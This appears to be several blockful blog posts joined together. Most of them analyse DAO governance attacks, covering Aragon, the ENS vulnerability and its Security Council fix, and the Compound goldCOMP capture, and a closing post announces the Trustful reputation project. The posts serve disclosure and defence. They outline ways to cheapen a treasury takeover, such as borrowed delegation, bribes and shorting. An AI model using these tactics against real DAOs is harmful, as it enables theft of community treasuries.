Similar cases were done by the same attacker: Balancer, Sushi, Cream finance, Badger DAO.

Case study: Aragon - Direct treasury raid attack

The RFV (risk-free value) raiders, a group that attacked several DAOs and was even backed by a hedge fund named Arca, attacked Aragon.

Simply lining up soldiers doesn’t mean an attack’ — Jeff Dorman, Arca

Passing a proposal to split the treasury among token holders. At the first moment, the Aragon Association (AA, the Swiss non-profit behind the project) vetoed the proposal, but after some months and a lot of pressure, they decided to split 86% of the treasury (86k ETH). Not satisfied, Aragon DAO members threatened AA with a lawsuit.

‘Their goal is to target treasuries and manipulate the price of tokens for financial gain, at the expense of the organisation’s mission’ — The Aragon Association

Similar cases were done by the same attacker: Gnosis, Hector Network, Tribe (FEI), Rook

Cryptoeconomic analysis

The following chart illustrates the relationship between ENS DAO's total assets (excluding the native governance token) and the value of delegated ENS tokens over time:

Key observations:

1. Treasury Value Exceeds Delegated Tokens: Since March 2023, the value of ENS DAO's treasury (excluding the native governance token) has consistently surpassed the total value of delegated ENS tokens. This imbalance creates a potential incentive for attackers.

2. Significant Exposure: At its peak, the disparity reached nearly 3x, meaning the treasury was worth almost three times the value of all delegated governance tokens. This scenario presents a highly attractive target for potential attackers.

3. Price Volatility Impact: The substantial fluctuations in the delegation value were primarily driven by ENS token price volatility rather than changes in delegation patterns.

4. Insufficient Safeguards: Even significant initiatives like the introduction of veto.ensdao.eth, which doubled the number of delegated tokens overnight, was not enough to fully mitigate this economic imbalance.

This gap didn't change if analyzing the current state. For exposing the state of ENS governance without the research and action towards security, the chart and statements below aren't considering veto.ensdao.eth neither securitycouncil.eth, which are outcomes from this research.

Liquid treasury here means assets that are not ENS, the governance token, since if it is attacked, its value will decrease, and it's not profitable to attack the DAO (considering a direct treasury raid). ENS DAO today holds ~$120mi in USDC, ETH, and DeFi positions that are managed by Karpatkey.

Delegated cap is the value of all the delegated tokens. This means that the DAO has $65mi in "organic" delegation protecting the treasury, considering all delegated tokens engaging in the votes, which is unrealistic.

Average quorum is a more reasonable metric to understand an aproximate cost of passing a proposal. Which currently is around 1.4m ENS, therefore ~$24mi protecting the DAO.

Other mechanisms for lowering the cost of the attack must be considered since all you need is delegation and not the token itself.

• A campaign could be run, giving a high APY for token holders delegating for an address. It is a no-brainer since, at first moment, it looks like a low-risk operation for yield. This is explored a lot in veNomics and DeFi, where you have bribe markets and similar mechanisms.

• Borrowing tokens is also an interesting instrument since the attacker has less skin in the game or can even use it as a short position.

• CEXs also allow you to short the token on the futures market and leverage, lowering the cost of attack.

• Proposal to split treasury with who votes yes. This one is the most dangerous, since delegation doesn't means economic skin on the game, this can create incentives enough to collude with the attacker.

Unknown whales are a huge risk and it's not something theoretical. This address has been buying ENS for more than 450 days, now surpassing 2M ENS, passing the average turnout alone by 600k, and being probably only one of the wallets it controls.

Governance implementation

The security of a DAO is heavily dependent on the specific details of its governance implementation. In ENS's case, two critical aspects of the implementation significantly increased its vulnerability to attacks:

Minimal Proposal-to-Voting Delay

• The delay between proposing and the start of voting is only 2 blocks.

• This brief interval provides the snapshot for determining the voting power of delegates.

• Such a short delay leaves little to no time for the community to react to potentially malicious proposals.

• Attackers can sell their governance tokens immediately after voting, minimizing potential losses as the malicious proposal's information hasn't yet spread widely.

Ineffective Cancellation Mechanism

• The existing structure lacked an efficient way to cancel malicious proposals in the timelock.

• Any attempt to cancel would always lag behind the execution of a malicious proposal.

• This effectively meant that once a malicious proposal was set in motion, it was nearly impossible to stop through existing governance mechanisms.

These implementation details created a perfect storm of vulnerability, making ENS an attractive target for potential attackers. They underscore the importance of carefully considering every aspect of governance implementation, as even small details can have significant security implications.

Taking action

After completing our initial research and confirming the attack's feasibility, we promptly disclosed our findings to the Metagov stewards and Nick. Our primary goal was to create an emergency protection mechanism for the ENS DAO.

Short-term solution

ENS Labs acted swiftly to implement an immediate safeguard:

• Contributors delegated 4.18M tokens to a contract created by Nick

• This contract acts like a 1/5 multisig setup to only vote "Against" on harmful proposals

• As mentioned in the cryptoeconomic analysis, this was not enough to fully mitigate this economic imbalance, but created a higher barrier.

Developing a mid-term solution

While the short-term solution provided immediate protection, we worked in parallel on a more sustainable safeguard: the Security Council. This mid-term solution doesn't rely on economic conditions to protect ENS DAO's governance.

After extensive discussions and research, we designed an implementation with key features:

• An intermediary contract limiting the council's power to veto only

• A two-year expiration to prevent permanent centralization

• Council composition based on jurisdictional diversity, economic and reputational stake, and historical participation

Implementation process

1. A temp-check voting was submitted, which was approved unanimously, demonstrating the community's understanding of the initiative's importance.

2. Established the council multisig as a 4/8 multisig, with members approved by the ENS DAO.

3. Rigorously tested and reviewed the Security Council contract:

   • Audited by 4 external auditors we had previously worked with

   • Additional review by ENS DAO community members

4. Submitted the executable proposal with caution and extensive testing, as it granted the PROPOSAL_ROLE to a contract, enabling proposal and cancellation of timelock operations.

Operational considerations

We also conducted operational work to enhance the Security Council's effectiveness:

• Defined best practices for the council's operations

• Benchmarked and researched methods to maximize wallet security for the multisig

Next steps

A security council should not be a long-term solution, it's a tool for giving us time.

Participation is still far from ideal, and the number of delegates is at its lowest level since the DAO's inception.

We need to discuss ways of engaging more relevant industry members to participate in the ENS. Bringing in external forces can create a culture shock for the DAO, but it will also bring more diversity to the discussions.

Whether it's distributing incentives and/or delegations to active DAO members or onboarding blockchain groups specialized in governance, we need to discuss best practices to foster participation in the ENS DAO.

That way, we won't need to activate our protections: the delegates themselves will have the votes and proactivity to protect the DAO's treasury.

Conclusion

The economic conditions and governance implementation of ENS made a potential attack not only feasible but highly profitable, with potential returns of 3-5 times the investment.

The lack of easily accessible, coherent data about the treasury inadvertently served as a temporary shield, but it was only a matter of time before this information reached malicious actors.

Currently, there are unknown wallets holding token amounts exceeding the average quorum, positioning them among the largest token holders. This presents a critical decision point for the DAO: whether to continue exposing itself to the risk of these dormant whales suddenly becoming active in governance or to implement a proactive action plan.

The blockful team has been integrally involved throughout this process, from the initial identification of the vulnerability to the development and proposal for the creation of the Security Council. Our comprehensive approach included:

• Data analysis and study of past attacker behaviors.

• Smart contract research, implementation, and testing.

• Proposal coordination, crafting, and simulation.

• Legal research and benchmark of other security councils' good practices.

• Collaboration with meta-governance working group stewards, delegates, and the broader community.

• Managing all associated fees and costs for smart contract deployment and audits.

The Security Council was designed with several key features to balance security and decentralization.

These measures create a governance structure that is more resilient to capture by whale token holders and state actors while providing a crucial safeguard against potential attacks.

By implementing this solution, ENS has taken a significant step towards securing its future, setting a precedent for responsible and adaptive DAO governance in the face of evolving threats.

Follow blockful on X (Twitter) to support this kind of research*.*

Please consider delegating your governance tokens to gov.blockful.eth if you believe in a sustainable way of governance that approaches security, public goods, and DAOs longevity.

See ya in the mempool and forums!

Timeline

May 6 - Unexpected proposal

Humpy and the Golden Boys presented a proposal to invest 5% of Compound's tokens in a strategy called goldCOMP, submitting it directly on-chain and then posting it in the forum.

It works like a wrapped COMP: the tokens are deposited in a contract and return goldCOMP.

The proposal aimed to get 92K COMP from Compound to provide the initial liquidity for goldCOMP. The COMP provided by the DAO would be placed in the Golden Boys' vault and deposited in a 99/1 goldCOMP/WETH pool at Balancer. This capital would then generate 10% p.a. for all goldCOMP holders, including Compound.

The idea was not well received, because the capital would be managed by a multisig of the Golden Boys. At the time, those responsible for arguing against the proposal were Open Zeppelin's cylon and Wintermute Governance.

According to the study from cylon, they had already found 325K delegate tokens with a similar pattern: withdrawal from Bybit and delegation to a new address. Only 75K tokens short of a quorum.

These 325K tokens represent 47% of the tokens voted on in proposal 289, which culminated in the release of capital to Humpy.

Jul 9 - Another try

Humpy commented that the accusations that he was stealing or attacking governance were unfounded. For him, it's just a proposal requiring investment

Jul 15 - coordination bait

We think the goal here was getting the sense of how much votes the DAO could coordinate to defend from this proposal.

Humpy submitted an onchain proposal for the second time, it ended up not passing.

Jul 24 - Production-ready

Humpy and the Golden Boys upped the ante by asking for 499K COMP, ~5.5x more than what was expected on the forum. In addition, they added the grantPhase function, allowing the contract set up by Humpy to invest the money as soon as it was received.

The proposal passed, having 50k more votes "against" than the bait proposal, but it wasn't enough to block it.

Humpy background and history

Humpy is a well-known figure in DeFi. He has already exploited the governance vulnerabilities of other DAOs, most notably Balancer.

At Balancer, Humpy acquired millions of dollars of veBAL, aiming to capture the organization. At first, his focus was only on BAL emissions for the project's pools. By acquiring power in the governance of the protocol, he was able to direct token issues to pools that provided liquidity.

The strategy was simple:

• Create a pool in Balancer;

• Uploaded a proposal for voting on issuance to the pool;

• Vote with your tokens and feed bribes to other wallets;

• Extracted the possible issuance and replayed the playbook.

When the siege tightened, Humpy even wanted to ban Aura (Balancer's sub-DAO) from participating in the votes, in order to maintain his dominance over Balancer.

Andrea, one of the members of the Golden Boys, was part of this capture of Balancer. At the time, he helped Humpy in discussions on the forums, approving proposals that were beneficial to both of their bags.

As Humpy had captured the governance of Balancer and Aura, the solution was to make a peace agreement with him. The agreement made in 2022, agreed that Humpy would only direct emissions to pools where the cost of the bribe per veBAL is greater than the dollar value of the veBAL emissions. In short, “aligning himself for the long term with Balancer”.

He also divested several of his positions in veBAL, reducing his dominance over the project. Still, it is one of the largest and most influential portfolios at Balancer and Aura.

Diving deeper in the proposal

The important insights here are

• The Golden Boys multisig can change the delegatee of the tokens deposited in goldCOMP.

• COMP tokens will only be returned from the Trust setup to the DAO if the multisig allows.

Possible solutions

Some argue is an attack, others not. The fact is that the Golden Boys now have 6% and will have 11% after executing the proposal (1.1M COMP) of token supply in delegation, and the last time where quorum hit 1M was proposal 139 (Dec 2022 to approve Open Zeppelin security partnership), so the DAO is captured.

We cannot count on the other top token holders, they are exchanges, VCs and other entities that are not engaging in delegation. The reasons are diverse: compliance, security in tokens custody or just voter apathy.

The last chance is bulding around the proposal that Arr00 submitted 1 hour after the Golden Boys proposal passed, the snapshot for this voting will be taken before the 500k COMP can be delegated.

Note how close the first proposal's execution is to the voting start of the second proposal. If the voting start were after the execution of Humpy's proposal, the snapshot would include the 5% of COMP received by him.

The governor starts voting and takes a snapshot 13140 blocks after the proposal is submitted. A timelock delays execution by 172800 seconds (~14400 blocks) after the proposal is queued.

If the community considers it an attack and wants to get rid of the control and capture, the only way is to accept this proposal, transfer the timelock admin to the Compound's community, and then decide the future.

Scenario 1: New governor blocking goldCOMP delegatee

Deploying a new governor that will not consider the vote of the address that the goldCOMP contract is delegating to neutralize the social power involved in the proposal. It will maintain the tokens that Humpy bought, and it's an easier solution, also giving time for delegates to engage and take some security measures.

Scenario 2: Fork token

Creating a new COMP token, which is airdropped to all previous wallets, excluding the ones that voted "for" in the Golden Boys proposal and the tokens obtained with the proposal.

That's may be hard proposal to pass because it will make the COMP token useless by decoupling it from governing the treasury and protocol. But it can be interesting if there are any incentives to vote ”for”, as we saw in other token migrations.

Scenario 3: Accept the capture

As Humpy and the Golden Boys are heavily invested in COMP, is also in their interest to not lose money and make the protocol survive. There is no turning back if this happens and the proposal for transferring the timelock admin doesn't pass.

Preventing it

Security provider that takes action

Open Zeppelin (getting $4m/year), which is in charge of security, and Gaunlet, which makes most of the proposal and does risk analysis, didn't take any action or proposal toward increasing DAO security.

OZ got early insights about related wallets on the first on-chain proposal and made the possible risk clear in the forum. But security is not just monitoring and warning. Is taking action and proactively stewarding the governance towards a more secure place.

Security Council for vetoing

Back in March, blockful conducted a governance audit that exposed a concerning situation for ENS DAO, ending up in the immediate delegation of 4M ENS to a contract that can only vote "Against" and now the creation of the Security Council, live since 2 days ago.

Recently, an address was noticed accumulating 1.5m ENS, buying it almost every day for the last 382 days, but it no longer represents a risk for the capture of the organization.

In an adversarial and permissionless environment, security must be preventive and crucial. It takes motivation, passion, and attention to detail.

Similar movements are not new in history.

The 1988 RJR Nabisco Takeover: A Case of Legal Manipulation and Strategic Voting: in 1988, the leveraged buyout of RJR Nabisco by Kohlberg Kravis Roberts & Co. (KKR) showcased how legal manipulation and strategic voting allowed KKR to gain control, despite fragmented and apathetic large shareholders. This event highlighted vulnerabilities in corporate governance and led to significant financial market reforms.

Open question

• Most of COMP came from exchanges, so they know who is behind it, or... they are behind it. Are Humpy and the Golden Boys somehow backed by exchange? If not, why would these individuals expose their identity to exchanges like that?

Trustful is currently participating in Octanct’s Epoch 4 of Public Goods Funding; you can show your support by voting for us here!

Why build on reputation?

For nearly one year, Blockful contributors have been researching different approaches to reputation, diving into historical developments from word of mouth, through writing and the printing press, and all the way to social media algorithms. We've studied traditional peoples and their social structures, many web3 solutions with their different pros and cons, and we've hacked and won with our initial concept of how to contribute to this space.

Most of the studied solutions either turn communities into popularity contests that disproportionally reward Public Relations over other skills and contributions or completely disregard the contextual nature of how humans attribute trust to each other. Those characteristics differ abruptly from long-evolving human practices, making the user experience uncomfortable and actively disengaging people. This makes it unsafe to use the results from those systems to decentralize power or create trusted environments.

Plutocracy is broadly present in DAOs and is arguably a core element of even their earliest conceptual structures. Over the last couple of cycles, it has caused engagement issues, created governance risks, and attracted criticism from allied and opposing opinions.

In January, our team applied with ZuTrust to the Zuzalu tech round on Gitcoin, taking our first step towards making a public good product that would bring what we learned into a valuable solution for digital communities. With this initial funding, we dedicated efforts towards gathering insights from builders in different communities. We found converging opinions on how this dynamic, where your bag size is the only relevant metric to amplify your voice, limits and frustrates members, trimming their participation and creating mistrust in the voting or funding round results.

The full picture

Gathering those diverse research points allowed us to define some core concepts that Trustful will carry throughout its uses:

• Reputation is contextual. It is only possible to functionally assign a reputational value to an action if you specify the context in which it will be recognized.

• Reputation and trust go hand in hand. While the first is one-to-many, the second is one-to-one.

• Trust allows for reputational bridges. While I might not be able to confirm someone's long-term contributions to a community, I can recognize their reputation there if I trust that community's reputational consensus.

• Trust works very similarly regarding reputation and expertise. I might not be able to verify someone's knowledge of Particle Physics. Still, I can recognize their expertise if I trust a reputable educational institution like MIT or a group of experts to assert that expertise.

From those concepts, Trustful has derived its core features:

• Issuance of Statement Badges in the form of EAS Attestations, which serve as statements of something about someone.

• Creation of Reputational Scorers in the form of lists of "badge:relevance" pairs.

• Issuance of Reputation Badges, also in the form of EAS Attestations, that are the result of checking an address against a Scorer.

Statement Badges are the core of the user experience. Trustful's interface makes it easy for anyone to issue Statement Badges to another address by simply choosing from a list of types or creating their own. It also allows users to connect and import their reputation from various sources, enabling a broader usage of different systems that are already culturally integrated into their communities or offering specific functionalities to meet their needs. For imported badges, the issuance, the verification of values, and the adaptation to a standard data format are done by Trustful's back-end server, allowing off-chain data to be considered for on-chain scenarios.

Reputational Scorers turn Statement Badges into usable scores. Users can create new scorers by defining what badges are relevant to them and specifying their relevance value, which serves as a multiplier. Flexibility on the valuation of a Statement Badge allows for the same contribution to be considered appropriately in different communities or contexts, such as voting proposals of a specific nature, allocating funds from a community treasury, or acknowledging reputable builders of another DAO inside your organization. Users can also select scorers from a list, identifying their creator and choosing to trust their parameters for what defines reputation in their context. We are excited to work with innovative governance systems like JokeRace to allow DAO members to curate their scorer values.

Reputation Badges are generated by scorers and allow their resulting values to be used for on-chain interactions. They are EAS Attestations containing a numerical score value and a Scorer ID. They will be the core piece for using Trustful in your community structure, being easy to use in a governor contract extension for voting, with Passport for funding round matching scores, or with a Hats eligibility module for roles and permissions.

Launching our first versions

Trustful is now under development, with an MVP built on Optimism and one on the Stellar Network. Those two early versions explore different aspects of improving the recognition of effort and expertise inside communities.

ZuGeorgia MVP on Optimism

The first OP version will focus on creating new Statement Badges and will be tested on ZuGeorgia in late July. It will allow organizers and attendants of a Zuzalu pop-up village event to give badges to each other in recognition of their contributions and knowledge. This mobile-first version aims to enable the community to create its first badges, which members will later use to generate Reputation Scores.

Stellar Quests MVP

The Stellar version will focus on importing badges from the current Stellar Quests system and creating Reputational Scorers and Reputation Badges for different contexts inside Stellar's governance ecosystem. It will qualify developers' expertise in certain areas, amplifying their voices on matters in which they have proof of knowledge.

Funding a public good

Trustful is an open-source software that aims to provide communities with a way to value member contributions and have resources for making more informed decisions.

Our initial funding came from the Zuzalu Gitcoin round earlier this year. We have also received a grant from SCF to fund the development of the Stellar MVP and are currently participating in the selection process for Octant's Epoch 4.

If you want to support Trustful to be open and accessible for everyone, please share this post or support us by voting on the Snapshot proposal for Octant.

If you are interested in knowing more, feel free to reach out or follow us here or in social media to get more updates soon!